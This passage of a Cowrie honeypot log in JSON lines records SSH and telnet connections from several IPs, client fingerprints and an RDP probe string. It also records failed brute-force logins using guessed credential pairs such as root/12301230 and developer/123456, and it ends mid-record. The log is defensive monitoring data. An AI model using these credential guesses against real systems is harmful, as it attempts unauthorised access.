{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39286,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6839ee6aed8","protocol":"telnet","message":"New connection: 152.42.224.71:39286 (10.17.0.5:23) [session: b6839ee6aed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:50.840052Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57576,"dst_ip":"10.17.0.5","dst_port":22,"session":"70d02aca4229","protocol":"ssh","message":"New connection: 83.168.110.85:57576 (10.17.0.5:22) [session: 70d02aca4229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:50.856661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:50.861652Z","src_ip":"83.168.110.85","session":"70d02aca4229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:50.985141Z","src_ip":"83.168.110.85","session":"70d02aca4229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:51.349870Z","src_ip":"83.168.110.85","session":"70d02aca4229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39300,"dst_ip":"10.17.0.5","dst_port":23,"session":"9112d2857417","protocol":"telnet","message":"New connection: 152.42.224.71:39300 (10.17.0.5:23) [session: 9112d2857417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:52.439258Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:52.536135Z","src_ip":"83.168.110.85","session":"70d02aca4229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51942,"dst_ip":"10.17.0.5","dst_port":22,"session":"992c3793615f","protocol":"ssh","message":"New connection: 83.168.110.85:51942 (10.17.0.5:22) [session: 992c3793615f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:57.671648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:57.677073Z","src_ip":"83.168.110.85","session":"992c3793615f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:57.798215Z","src_ip":"83.168.110.85","session":"992c3793615f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:58.251415Z","src_ip":"83.168.110.85","session":"992c3793615f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:59.394386Z","src_ip":"83.168.110.85","session":"992c3793615f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.21430969238281,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:59.628458Z","src_ip":"152.42.224.71","session":"d5d4096e4f9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42526,"dst_ip":"10.17.0.5","dst_port":22,"session":"731e61d90c4c","protocol":"ssh","message":"New connection: 83.168.110.85:42526 (10.17.0.5:22) [session: 731e61d90c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:04.534738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:04.705277Z","src_ip":"83.168.110.85","session":"731e61d90c4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:04.710567Z","src_ip":"83.168.110.85","session":"731e61d90c4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:05.202975Z","src_ip":"83.168.110.85","session":"731e61d90c4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:06.527553Z","src_ip":"83.168.110.85","session":"731e61d90c4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42542,"dst_ip":"10.17.0.5","dst_port":22,"session":"43de2b89b067","protocol":"ssh","message":"New connection: 83.168.110.85:42542 (10.17.0.5:22) [session: 43de2b89b067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:11.591933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:11.597627Z","src_ip":"83.168.110.85","session":"43de2b89b067","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:11.719684Z","src_ip":"83.168.110.85","session":"43de2b89b067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:12.086153Z","src_ip":"83.168.110.85","session":"43de2b89b067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:13.286752Z","src_ip":"83.168.110.85","session":"43de2b89b067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":47956,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3ec5ab8951d","protocol":"ssh","message":"New connection: 103.122.221.179:47956 (10.17.0.5:22) [session: a3ec5ab8951d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:15.829969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:15.835757Z","src_ip":"103.122.221.179","session":"a3ec5ab8951d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:16.088741Z","src_ip":"103.122.221.179","session":"a3ec5ab8951d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12301230","message":"login attempt [root/12301230] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:16.847886Z","src_ip":"103.122.221.179","session":"a3ec5ab8951d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:18.104031Z","src_ip":"103.122.221.179","session":"a3ec5ab8951d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48632,"dst_ip":"10.17.0.5","dst_port":22,"session":"6044a56a611a","protocol":"ssh","message":"New connection: 83.168.110.85:48632 (10.17.0.5:22) [session: 6044a56a611a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:18.556752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:18.561887Z","src_ip":"83.168.110.85","session":"6044a56a611a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:18.684670Z","src_ip":"83.168.110.85","session":"6044a56a611a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52164,"dst_ip":"10.17.0.5","dst_port":23,"session":"e930a0ac3d33","protocol":"telnet","message":"New connection: 152.42.224.71:52164 (10.17.0.5:23) [session: e930a0ac3d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:19.588047Z"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:19.774495Z","src_ip":"83.168.110.85","session":"6044a56a611a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:20.903580Z","src_ip":"83.168.110.85","session":"6044a56a611a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51952,"dst_ip":"10.17.0.5","dst_port":22,"session":"1696914502f0","protocol":"ssh","message":"New connection: 83.168.110.85:51952 (10.17.0.5:22) [session: 1696914502f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:25.646732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:25.651722Z","src_ip":"83.168.110.85","session":"1696914502f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:25.773750Z","src_ip":"83.168.110.85","session":"1696914502f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:26.138166Z","src_ip":"83.168.110.85","session":"1696914502f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:27.400666Z","src_ip":"83.168.110.85","session":"1696914502f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52178,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba16668b1991","protocol":"telnet","message":"New connection: 152.42.224.71:52178 (10.17.0.5:23) [session: ba16668b1991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:27.433359Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49201,"dst_ip":"10.17.0.5","dst_port":22,"session":"24bca76d7dbe","protocol":"ssh","message":"New connection: 152.42.212.128:49201 (10.17.0.5:22) [session: 24bca76d7dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:32.574290Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51958,"dst_ip":"10.17.0.5","dst_port":22,"session":"31d648484c13","protocol":"ssh","message":"New connection: 83.168.110.85:51958 (10.17.0.5:22) [session: 31d648484c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:32.580453Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:32.589168Z","src_ip":"152.42.212.128","session":"24bca76d7dbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:32.592847Z","src_ip":"152.42.212.128","session":"24bca76d7dbe","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:32.596104Z","src_ip":"83.168.110.85","session":"31d648484c13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr